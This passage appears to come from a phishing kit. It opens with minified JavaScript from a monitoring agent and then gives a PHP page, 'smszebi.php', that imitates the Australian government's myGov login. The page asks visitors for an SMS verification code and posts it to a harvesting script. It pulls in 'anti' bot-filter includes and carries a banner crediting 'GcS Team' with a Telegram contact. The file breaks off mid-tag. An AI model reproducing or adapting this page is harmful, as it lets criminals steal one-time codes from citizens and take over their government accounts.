failure",t.dtProps.ba):V.dT_.mxf(q.dtProps.I.status,q.dtProps.I.statusText,q.dtProps.ba)},onabort:V.dT_.mxc,ontimeout:V.dT_.mxt},x=0,oa=nb;x<oa.length;x++){var R=oa[x];try{if(R in D||Oa&&R in q)V.dT_.bcv("raxeh")?y(R):(Ua(q,R).length||q[R])&&y(R)}catch(O){}}}function za(q,D,t){Object.defineProperty(q,D,{enumerable:!0,get:t})}function ab(q,D){var t=q.timeStamp||V.dT_.nw(),y="undefined"===typeof q.eventPhase?2:q.eventPhase,Y=q.stopPropagation|| gb,x=q.stopImmediatePropagation||gb,oa=q.preventDefault||gb,R=q.initEvent||gb;if(ra())try{var O=document.createEvent("Event");O.initEvent(q.type,q.bubbles||!1,q.cancelable||!1);za(O,"target",function(){return D});za(O,"currentTarget",function(){return D});za(O,"srcElement",function(){return D});za(O,"eventPhase",function(){return y});za(O,"timeStamp",function(){return t});za(O,"stopPropagation",function(){return Y});za(O,"stopImmediatePropagation",function(){return x});za(O,"preventDefault",function(){return oa}); za(O,"initEvent",function(){return R});return O}catch(wa){}return{type:q.type,target:D,currentTarget:D,srcElement:D,eventPhase:y,bubbles:q.bubbles||!1,cancelable:q.cancelable||!1,timeStamp:t,stopPropagation:Y,stopImmediatePropagation:x,preventDefault:oa,initEvent:R}}function ba(q,D){try{var t=V.dT_.gPO(q),y=V.dT_.gPO(q.dtProps.I);y||(y=vb.prototype);return!t||!y||"__dtProto"in t[D]?null:t[D]}catch(Y){return null}}function Z(q){return V.dT_.iIO(q,["dtProps"])}function Aa(q){q.UNSENT=0;q.OPENED=1;q.HEADERS_RECEIVED= 2;q.LOADING=3;q.DONE=4}function na(q){if(ra())"upload"===q?Object.defineProperty(pa.XMLHttpRequest.prototype,"upload",{enumerable:!0,configurable:!0,get:function(){if(!this.dtProps.Kc)return vb.prototype.upload;this.dtProps.upload||(this.dtProps.upload=new I(this));return this.dtProps.upload}}):Object.defineProperty(pa.XMLHttpRequest.prototype,q,{enumerable:!0,configurable:!0,get:function(){return this.dtProps.Kc?0<=V.dT_.aIOf(lb,q)?this.dtProps.I[q]:this.dtProps[q]:vb.prototype[q]},set:function(D){this.dtProps.Kc? this.dtProps[q]=D:vb.prototype[q]=D}});else try{pa.XMLHttpRequest.prototype[q]=void 0}catch(D){}}function ta(q,D){var t=pa.XMLHttpRequest.prototype[q];if(D||V.dT_.iNF(t))pa.XMLHttpRequest.prototype[q]=function(y,Y){function x(){if(Z(this)){"open"!==y||this.dtProps.url||(this.dtProps.url=arguments[1]+"");this.dtProps.I.withCredentials!==this.dtProps.withCredentials&&(this.dtProps.I.withCredentials=this.dtProps.withCredentials);var oa=this.dtProps.I}else oa=this;return Za.XMLHttpRequestCallback(Y,oa, arguments)}x.__dtProto=!0;return x}(q,vb.prototype[q])}function Ma(){vb=pa.XMLHttpRequest;ca=11>V.dT_.gBI().ie;yb=Zb.ct||clearTimeout;if(pa.XMLHttpRequest&&(pa.XMLHttpRequest=Ba,vb.prototype)){Oa=db(vb);if(Object.create){var q=Object,D=q.create,t=vb.prototype;var y=vb.prototype;if(Object.getOwnPropertyDescriptors)y=Object.getOwnPropertyDescriptors(y);else{for(var Y={},x=0,oa=Object.getOwnPropertyNames(y);x<oa.length;x++){var R=oa[x],O=Object.getOwnPropertyDescriptor(y,R);O&&(Y[R]=O)}y=Y}Ba.prototype= D.call(q,t,y)}else Ba.prototype.__proto__=V.dT_.gPO(vb.prototype);Ba.prototype.dtProps={Kc:!1};Ba.prototype.dtProps.Kc=!1;Aa(Ba);Aa(Ba.prototype);for(var wa in vb.prototype)if(-1===V.dT_.aIOf(gc,wa))try{-1!==V.dT_.aIOf(Ab,wa)?ta(wa,!0):-1!==V.dT_.aIOf(jb,wa)?na(wa):pa.XMLHttpRequest.prototype[wa]=vb.prototype[wa]}catch(Wa){na(wa)}for(var Ga in vb)if(!(Ga in vb.prototype))try{pa.XMLHttpRequest[Ga]=vb[Ga]}catch(Wa){}try{Ja()}catch(Wa){}}V.dT_.ael(pa,"unload",fa)}function Ja(){if(!V.dT_.bcv("peti")){if(pa.EventTarget)var q= EventTarget.prototype;q&&q.addEventListener||!pa.XMLHttpRequestEventTarget||(q=V.dT_.gPO(pa.XMLHttpRequestEventTarget.prototype));q&&q.addEventListener||(q=XMLHttpRequest.prototype);if(q&&q.addEventListener){var D=q.addEventListener;q.addEventListener=function(Y,x,oa){if(Z(this))this.dtProps.mf(Y,x,oa);else return Za.AELWrapper(D,this,arguments)};var t=q.removeEventListener;q.removeEventListener=function(Y,x,oa){if(Z(this))this.dtProps.og(Y,x,oa);else return Za.RELWrapper(t,this,arguments)};var y= q.dispatchEvent;q.dispatchEvent=function(Y){return Z(this)?this.dtProps.Zd(Y):Za.dispatchWrapper(y,this,arguments)}}}}function fa(){pa.XMLHttpRequest=vb;vb=null;ca=!1;yb=void 0;Oa=!1}function S(q,D){return new $a(q,D)}function va(q){return"string"===typeof q}function ja(q){q.ne||(V.dT_.lx(q.G,q.url,!0,void 0,"x"),q.ne=!0)}function U(q){var D=q.G,t=q.url;return Zb.aWF(q.Da,q.context,q.Pa,void 0===D?0:D,void 0===t?"":t,"x")}function eb(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]= arguments[Y];Y=q.G;var x=q.url;try{if(V.dT_.ec(Y),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:Y,url:x})}finally{V.dT_.lc(Y),ja(q)}}}function L(q,D,t){return{get:function(){return t||q[D]},enumerable:!0}}function C(q,D,t,y){return function(){for(var Y=[],x=0;x<arguments.length;x++)Y[x]=arguments[x];try{V.dT_.ec(q.G);var oa=Y[0],R=document.createEvent("Event");R.initEvent(oa.type,oa.bubbles,oa.cancelable);var O=L(oa,"target",y);Object.defineProperties(R,{target:O,currentTarget:O,srcElement:O, stopPropagation:L(oa,"stopPropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopPropagation.apply(oa,wa);return Event.prototype.stopPropagation.apply(R,wa)}),stopImmediatePropagation:L(oa,"stopImmediatePropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopImmediatePropagation.apply(oa,wa);return Event.prototype.stopImmediatePropagation.apply(R,wa)}),preventDefault:L(oa,"preventDefault",function(){for(var wa= [],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.preventDefault.apply(oa,wa);return Event.prototype.preventDefault.apply(R,wa)}),eventPhase:L(oa,"eventPhase","undefined"===typeof oa.eventPhase?2:void 0),timeStamp:L(oa,"timeStamp",oa.timeStamp||V.dT_.nw()),initEvent:L(oa,"initEvent")});Y[0]=R;if("function"===typeof D)return U({Da:D,context:oa.target,Pa:Y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G)}}}function H(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=arguments[Y]; try{if(V.dT_.ec(q.G),t.readyState===t.DONE&&V.dT_.mx()&&200!==t.status&&(0===t.status?V.dT_.st(V.dT_.mxc.bind(null,q.G),0):V.dT_.mxf(t.status,t.statusText,q.G)),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G),t.readyState===t.DONE&&ja(q)}}}function Q(q,D){try{if("string"===typeof D&&"function"===typeof q[D]){var t=V.dT_.iNF(q[D]);q[D]=S(q[D],{apply:la.bind(null,D,t),get:function(y,Y,x){return"dT_proxy"===Y?!0:Reflect.get(y,Y,x)}})}}catch(y){}}function ia(q, D){q.filter(ua.bind(null,D)).forEach(Q.bind(null,D))}function W(q,D,t,y,Y){q.G||(q.G=V.dT_.ex("x",void 0,q.url,!1,D));var x=V.dT_.sch({headers:{}},q.url,q.G);Reflect.ownKeys(x.headers).filter(va).forEach(function(oa){t.setRequestHeader(oa,x.headers[oa])});try{return U({Da:D,context:y,Pa:Y,G:q.G,url:q.url})}finally{q.async||ja(q)}}function la(q,D,t,y,Y){if(!V.dT_.iIO(y,22))return U({Da:t,context:y,Pa:Y});var x=y.dtProps,oa=y;x&&(D||Cb)&&(oa=x.target);if(!x)return U({Da:t,context:oa,Pa:Y});switch(D? t.name:q){case "addEventListener":"function"===typeof Y[1]&&(q=Y[1],q.dT_cb?Y[1]=q.dT_cb:(Y[1]=C(x,q,oa,y),q.dT_cb=Y[1]));break;case "removeEventListener":y=Y[1];if(null===y||void 0===y?0:y.dT_cb)Y[1]=y.dT_cb;break;case "open":return x.G=0,x.ne=!1,x.url=Y[1],x.async=!0===Y[2]||void 0===Y[2],U({Da:t,context:oa,Pa:Y});case "send":return W(x,t,y,oa,Y);case "abort":ja(x)}return U({Da:t,context:oa,Pa:Y,G:x.G,url:x.url})}function ua(q,D){try{var t=q[D];if("function"!==typeof t||t.dT_proxy)return!1}catch(y){return!1}return!0} function Ka(q){return"constructor"!==q}function Hb(q,D,t){"upload"===D&&V.dT_.mx()&&!t.Tf&&(q.upload.addEventListener("error",function(){V.dT_.mxg("Upload failure",t.G)}),t.Tf=!0);return t.Mc.has(D)?t.Mc.get(D):Reflect.get(q,D)}function ib(q,D,t){try{EventTarget.prototype.addEventListener.call(q,D,t)}catch(y){q.addEventListener(D,t)}}function aa(q){var D={G:0,async:!0,ne:!1,url:"",target:q,xj:!1,Tf:!1,Mc:new Map,toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}}; q.dtProps=D;ib(q,"readystatechange",H(D,function(){},q));V.dT_.mx()&&(ib(q,"error",function(){return V.dT_.mxf(q.status,q.statusText,D.G)}),ib(q,"abort",function(){return V.dT_.mxc(D.G)}),ib(q,"timeout",function(){return V.dT_.mxt(D.G)}));return S(q,{get:function(t,y){return Hb(t,y,D)},set:function(t,y,Y,x){try{var oa=Y;switch(y){case "onabort":case "onerror":case "ontimeout":oa=eb(D,Y,t);D.Mc.set(y,Y);break;case "onloadstart":case "onprogress":case "onload":case "onloadend":oa=C(D,Y,t,x);D.Mc.set(y, Y);break;case "onreadystatechange":oa=H(D,Y,t),D.Mc.set(y,Y)}var R=Reflect.set(t,y,oa)}catch(O){R=!1}return R}})}function qa(){Cb=db(pa.XMLHttpRequest);$a=pa.Proxy;var q=pa.XMLHttpRequest.prototype,D=EventTarget.prototype,t=Reflect.ownKeys(q).filter(va).filter(Ka),y=Reflect.ownKeys(D).filter(va).filter(Ka);pa.XMLHttpRequest=S(pa.XMLHttpRequest,{construct:function(Y,x){ia(t,q);ia(y,D);return aa(Reflect.construct(Y,x))}});ia(t,q);q.constructor=pa.XMLHttpRequest;ia(y,D)}var V="undefined"!==typeof window? window:self,pa="undefined"!==typeof window?window:self,Va="cancelBubble defaultPrevented eventPhase isTrusted lengthComputable loaded position returnValue timeStamp total totalSize type".split(" "),nb="onabort onerror onload onloadend onloadstart onprogress ontimeout".split(" "),lb="responseText response status statusText responseBody responseStream responseURL responseXML responseType".split(" "),jb=La(La(La([],lb,!0),nb,!0),["onreadystatechange","upload","readyState"],!1),Ab="open send getAllResponseHeaders getResponseHeader setRequestHeader overrideMimeType abort sendAsBinary".split(" "), gc=["addEventListener","removeEventListener","dispatchEvent"],Vb=La(La(La([],Ab,!0),jb,!0),gc,!0),Ha,yb,vb,ca,Oa=!1,Za=(Ha={},Ha.handleEventCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.callOpen=function(q,D,t){return Zb.aWF(q,D,t)},Ha.send=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getAllResponseHeaders=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getResponseHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.setRequestHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.overrideMimeType=function(q,D,t){return Zb.aWF(q, D,t)},Ha.RELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.AELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.onreadystatechangeCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchXHRCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.XMLHttpRequestCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.preventDefault=function(q,D,t){return Zb.aWF(q,D,t)},Ha.stopImmediatePropagation=function(q,D,t){return Zb.aWF(q,D,t)},Ha),I=function(){function q(D){var t= this;if(t.constructor){var y=q;ra()&&Object.defineProperty(t,"constructor",{get:function(){return y},set:function(oa){y=oa}})}t.dtProps={Ea:[],ig:D.dtProps.I.upload,jg:D,jd:!1};var Y=t.dtProps;D=0;for(var x=nb;D<x.length;D++)(function(oa){Object.defineProperty(t,oa,{enumerable:!0,get:function(){return Y[oa]},set:function(R){Y[oa]=R;Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}})})(x[D]);t.addEventListener=function(oa,R,O){if(R){for(var wa=Y.Ea,Ga=0;Ga<wa.length;Ga++){var Wa=wa[Ga];if(Wa[0]===oa&&Wa[1]===R&&Wa[2]=== O)return}wa.push([oa,R,!!O]);Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}};t.removeEventListener=function(oa,R,O){for(var wa,Ga=Y.Ea,Wa=0;Wa<Ga.length;Wa++)if(wa=Ga[Wa],wa[0]===oa&&wa[1]===R&&wa[2]===O){Ga.splice(Wa,1);break}};t.dispatchEvent=function(oa){var R=Y.Ea,O=!1,wa=!1;if(oa.cancelable&&oa.preventDefault){var Ga=oa.preventDefault;oa.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(oa.stopImmediatePropagation){var Wa=oa.stopImmediatePropagation;oa.stopImmediatePropagation= function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}for(var Eb=0;Eb<R.length;Eb++){var Lb=R[Eb];wa||Lb[0]!==oa.type||Lb[2]||("object"===typeof Lb[1]&&Lb[1].handleEvent?Za.dispatchXHRCallback(Lb[1].handleEvent,Lb[1],[oa]):Za.dispatchXHRCallback(Lb[1],t,[oa]))}return!O}}q.prototype.toString=function(){return"[XMLHttpRequestUpload]"};return q}(),ka={readyState:0,response:"",responseText:"",responseType:"",responseURL:"",status:0,statusText:"",timeout:0,withCredentials:!1},Ba=function(){function q(D){function t(R){if(-1=== V.dT_.aIOf(lb,R)&&(!V.dT_.oHOP(x.I,R)||V.dT_.oHOP(y,R)))return Oa&&-1!==V.dT_.aIOf(Ab,R)&&ta(R,!1),"continue";if(ra())if("upload"===R)Object.defineProperty(y,"upload",{enumerable:!0,get:function(){x.upload||(x.upload=new I(y));return x.upload}});else{try{x[R]=x.I[R]}catch(wa){}Object.defineProperty(y,R,{enumerable:!0,get:function(){return 0<=V.dT_.aIOf(lb,R)?x.I[R]:"undefined"===typeof x[R]?ka[R]:x[R]},set:function(wa){x[R]=wa}})}else try{y[R]=x.I[R]}catch(wa){var O=ka[R];y[R]="undefined"!==typeof O? O:null}}var y=this;if(y.constructor){var Y=q;ra()&&Object.defineProperty(y,"constructor",{get:function(){return Y},set:function(R){Y=R}})}y.dtProps={Kc:!0,ba:0,Ea:[],url:"",aborted:!1,za:0,async:void 0,Ib:void 0,I:arguments.length?new vb(D):new vb,uc:!1,hc:-1,Gb:-1,Be:[],sb:null,ke:!1,Ab:function(){y.readyState=x.I.readyState;if(y.readyState!==x.hc||100<V.dT_.nw()-x.Gb){for(var R=0,O=x.Be;R<O.length;R++)yb(O[R]);x.Be=[];Ea(y);4===y.readyState&&x.Xd();x.mg();x.Gb=V.dT_.nw()}else x.Be.push(V.dT_.st(x.Ab, 100));x.hc=y.readyState},yf:function(R,O){x.I.onreadystatechange!==x.Ab&&(x.I.onreadystatechange=x.Ab);x.ba=y.__dtFrameworks__?0:V.dT_.ex("x",void 0,x.url,void 0,y,!1,Oa);try{x.async&&(x.I.timeout=y.timeout)}catch(Lb){}try{x.async&&(x.I.responseType=y.responseType)}catch(Lb){}x.Ah();var wa={};wa=V.dT_.sch(wa,x.url,x.ba);for(var Ga in wa.headers)V.dT_.oHOP(wa.headers,Ga)&&x.I.setRequestHeader(Ga,wa.headers[Ga]);x.I.withCredentials!==y.withCredentials&&(x.I.withCredentials=y.withCredentials);wa=!0; ca&&!x.uc&&x.mg();try{if(O&&x.I.sendAsBinary)var Wa=x.I.sendAsBinary.apply(x.I,R);else{var Eb=ba(y,"send");Wa=Eb?Za.send(Eb,y,R):x.I.send.apply(x.I,R)}wa=!1}finally{Ea(y),wa&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x")}!x.async&&y.readyState&&x.ba&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x");return Wa},Ah:function(){x.Ib&&(yb(x.Ib),x.Ib=void 0);x.ke||(Pa(y,x.I),x.ke=!0)},Xd:function(){x.I.onreadystatechange=null;x.Mh();x.Oh()},Lh:function(){x.sb||(x.sb=function(){x.sb&&(x.sb=null,x.Xd(),y.abort())},V.dT_.ael(pa, "unload",x.sb))},Oh:function(){x.sb&&(V.dT_.rel(pa,"unload",x.sb),x.sb=null)},Mh:function(){x.Ib||(x.Ib=V.dT_.st(x.Nh,0))},Nh:function(){if(x.Ib){x.Ib=void 0;x.ke=!1;for(var R=x.I,O=0,wa=nb;O<wa.length;O++){var Ga=wa[O];try{Ga in R&&(R[Ga]=null)}catch(Wa){}}}},mf:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga=0,Wa=x.Ea;Ga<Wa.length;Ga++){var Eb=Wa[Ga];if(Eb[0]===R&&Eb[1]===O&&Eb[2]===wa)return}x.Ea.push([R,O,wa])},og:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga,Wa=0;Wa<x.Ea.length;Wa++)if(Ga= x.Ea[Wa],Ga[0]===R&&Ga[1]===O&&Ga[2]===wa){x.Ea.splice(Wa,1);break}},Zd:function(R){var O=!1,wa=!1;if(R.cancelable&&R.preventDefault){var Ga=R.preventDefault;R.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(R.stopImmediatePropagation){var Wa=R.stopImmediatePropagation;R.stopImmediatePropagation=function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}R=ab(R,y);"readystatechange"!==R.type||ca&&x.uc&&1===y.readyState||("undefined"!==typeof x.onreadystatechange? x.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(x.onreadystatechange,y,[R])):!ra()&&y.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(y.onreadystatechange,y,[R])));for(var Eb=0,Lb=x.Ea;Eb<Lb.length;Eb++){var Nb=Lb[Eb];wa||Nb[0]!==R.type||Nb[2]||("object"===typeof Nb[1]&&Nb[1].handleEvent?Za.dispatchXHRCallback(Nb[1].handleEvent,Nb[1],[R]):Za.dispatchXHRCallback(Nb[1],y,[R]))}return!O},mg:function(){var R=x.ba;try{V.dT_.ec(R,y.readyState),x.za++,x.Zd({type:"readystatechange", bubbles:!1,cancelable:!1,timeStamp:V.dT_.nw()})}finally{if(x.za--,V.dT_.lc(R),4===y.readyState&&R){var O=0,wa="Aborted";try{O=y.status,wa=y.statusText}catch(Ga){}200!==O&&V.dT_.mx()&&(0===O?V.dT_.st(function(){V.dT_.mxc(R)},0):V.dT_.mxf(O,wa,R));V.dT_.lx(R,x.url,!0,void 0,"x");x.ba=0}}},toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};var x=y.dtProps;y.readyState=0;Aa(y);try{Object.defineProperty(x,"responseType",{get:function(){return x.I.responseType}, set:function(R){x.I.responseType=R}})}catch(R){}for(var oa in x.I)t(oa);x.Gb=V.dT_.nw();Ea(y);y.onreadystatechange=null;"withCredentials"in x.I&&(y.withCredentials=x.I.withCredentials);y.timeout=0;"sendAsBinary"in x.I&&(y.sendAsBinary=function(){return x.yf(arguments,!0)});x.I.overrideMimeType&&(y.overrideMimeType=function(R){var O=ba(y,"overrideMimeType");return O?Za.overrideMimeType(O,y,arguments):x.I.overrideMimeType(R)});V.dT_.bcv("peti")&&x.I.addEventListener&&(y.addEventListener=function(R, O,wa){var Ga=ba(y,"addEventListener");x.mf(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.AELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.addEventListener)||x.I.addEventListener(R,O,wa)},y.removeEventListener=function(R,O,wa){var Ga=ba(y,"removeEventListener");x.og(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.RELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.removeEventListener)||x.I.removeEventListener(R,O,wa)},y.dispatchEvent=function(R){var O=ba(y,"dispatchEvent");if(O){if(!V.dT_.iNF(O))return Za.dispatchWrapper(O,x.I,arguments)}else if(!V.dT_.iNF(x.I.dispatchEvent))return x.I.dispatchEvent(R); return x.Zd(R)});y.open=function(R,O,wa,Ga,Wa){function Eb(Nb,ac,rc){"apply"in Nb?Za.callOpen(Nb,rc,ac):4<ac.length?Nb(R,O,wa,Ga,Wa):3<ac.length?Nb(R,O,wa,Ga):Nb(R,O,wa)}x.aborted=!1;3>arguments.length&&(wa=!0);x.async=wa;ca&&wa&&x.Lh();x.I.onreadystatechange=x.Ab;x.url=""+O;var Lb=ba(y,"open");Lb?Eb(Lb,arguments,y):Eb(x.I.open,arguments,x.I);y.readyState=x.I.readyState};y.send=function(){return x.yf(arguments,!1)};y.abort=function(){for(var R=[],O=0;O<arguments.length;O++)R[O]=arguments[O];0<y.readyState&& (x.aborted=!0);(O=ba(y,"abort"))?O.apply(y,R):x.I.abort();x.Xd();if(x.ba){for(;0<x.za;)x.za--,V.dT_.lc(x.ba);V.dT_.lx(x.ba,void 0,void 0,void 0,"x");x.ba=0}};y.getAllResponseHeaders=function(){var R=ba(y,"getAllResponseHeaders");return R?Za.getAllResponseHeaders(R,y,arguments):x.I.getAllResponseHeaders()};y.getResponseHeader=function(R){var O=ba(y,"getResponseHeader");return O?Za.getResponseHeader(O,y,arguments):x.I.getResponseHeader(R)};y.setRequestHeader=function(R,O){var wa=R&&R.toLowerCase?R.toLowerCase(): R;if("x-dtpc"!==wa&&"x-dtreferer"!==wa&&"x-host"!==wa&&"x-dtc"!==wa)return(wa=ba(y,"setRequestHeader"))?Za.setRequestHeader(wa,y,arguments):x.I.setRequestHeader(R,O)};y.toString=function(){return"[XMLHttpRequest]"};y.toJSON=function(){return x.I};if(pa.Proxy&&V.dT_.bcv("exp"))return y=new Proxy(y,{set:function(R,O,wa){R[O]=wa;try{-1===V.dT_.aIOf(Vb,O)&&(R.dtProps.I[O]=wa)}catch(Ga){}return!0}})}return q}(),$a,Cb=!1,bd,Qb;if((Ha=pa.dT_)&&"ea"in Ha&&(null===(Qb=(bd=V.dT_).smbi)||void 0===Qb?0:Qb.call(bd, "x"))){var Zb=Ha;"object"===typeof pa.Reflect&&"function"===typeof pa.Proxy&&V.dT_.bcv("expw")&&!V.dT_.gBI().edge?qa():Ma()}})()})(); mygov/app/smszebi.php000064400000020430151676702570010671 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Enter code - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./smsone_files/css" rel="stylesheet"> <link href="./smsone_files/mgv2-application.css" rel="stylesheet"> <link href="./smsone_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <h1>Payment Verification</h1> <p>We sent a code by SMS to your mobile number<span> XXXX XXX XXX</span>.</p> <form id="otp-entry-form" action="rez/sendsms1.php" method="post" autocomplete="off"> <div class="code-container"> <label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px; border-radius: 0.125rem; height: 48px; height: 3rem; border: 1px solid #000; border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer0" type="tel" autocomplete="off"> </label> </div> <div class="help-info-group"> </div> <div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true"> <p> You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in. </p> <p> If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account. </p> <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a> </div> <div class="button-container"> <button name="okbba" type="submit" class="button-main button">Next</button> <button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button> </div> <input type="hidden" name="accountRecovery" value="true"> <input type="hidden" 